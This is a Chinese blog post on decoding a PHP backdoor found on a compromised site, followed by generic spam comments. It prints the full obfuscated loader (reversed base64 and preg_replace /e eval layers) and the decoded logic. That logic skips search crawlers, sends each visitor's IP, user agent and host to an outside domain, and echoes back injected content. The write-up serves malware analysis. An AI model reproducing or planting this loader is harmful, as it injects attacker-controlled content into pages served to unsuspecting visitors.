解开了一个PHP后门(挂马)文件
解密前的文件
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?> |
解密方法：把变量和eval()中的代码echo出来，就ok了。结果发现这个文件层层加密，把变量、代码弄的乱七八糟。不过最后还是解出来了。
解密后的代码不到15行。。。
if (!isset($evalUdCXTDQERmWnDS)) { if((preg_match("/" . "Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER["HTTP_USER_AGENT"])) or (isset($_COOKIE[$evalamSEiYUdCgdSW]))) { } else { @setcookie($evalamSEiYUdCgdSW,md5("stats"),time()+10800); $evalsssgqulVBTkZLAch = @file_get_contents("http".":"."//"."f528764d624db129b32c21fbca0cb8d6.com"."/"."in".".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($_SERVER["HTTP_USER_AGENT"])."&h=".urlencode($_SERVER["HTTP_HOST"])); if (strstr($evalsssgqulVBTkZLAch,'!go!')){ $evalsssgqulVBTkZLAch = explode('!go!',$evalsssgqulVBTkZLAch); $evalsssgqulVBTkZLAch = $evalsssgqulVBTkZLAch[1]; echo $evalsssgqulVBTkZLAch; } } $evalUdCXTDQERmWnDS =18792; } |
I’m not that much of a internet reader to be honest but your blogs really nice, keep it up!
I’ll go ahead and bookmark your website to come back later on. Many thanks
I simply couldn’t leave your web site prior to suggesting that I really enjoyed the
standard information a person provide to your guests?
Is going to be again steadily in order to investigate cross-check
new posts
Everything is very open with a precise clarification of the issues.
It was really informative. Your site is useful.
Many thanks for sharing!
Yes! Finally something about covid19.
Howdy! I could have sworn I’ve been to this website before but after going through some of the articles I realized it’s new to me.
Nonetheless, I’m definitely delighted I discovered it and I’ll be bookmarking it and checking back often!
Hi there! I know this is somewhat off topic but I was wondering if you knew where I could locate
a captcha plugin for my comment form? I’m using the same blog platform as yours and I’m having problems finding
one? Thanks a lot!
always i used to read smaller content which also clear their
motive, and that is also happening with this piece of writing which I am reading now.
This is the perfect webpage for everyone who really wants to find out about this topic.
You realize so much its almost tough to argue with you (not
that I actually will need to…HaHa). You definitely put a new spin on a topic which has been written about for
years. Excellent stuff, just excellent!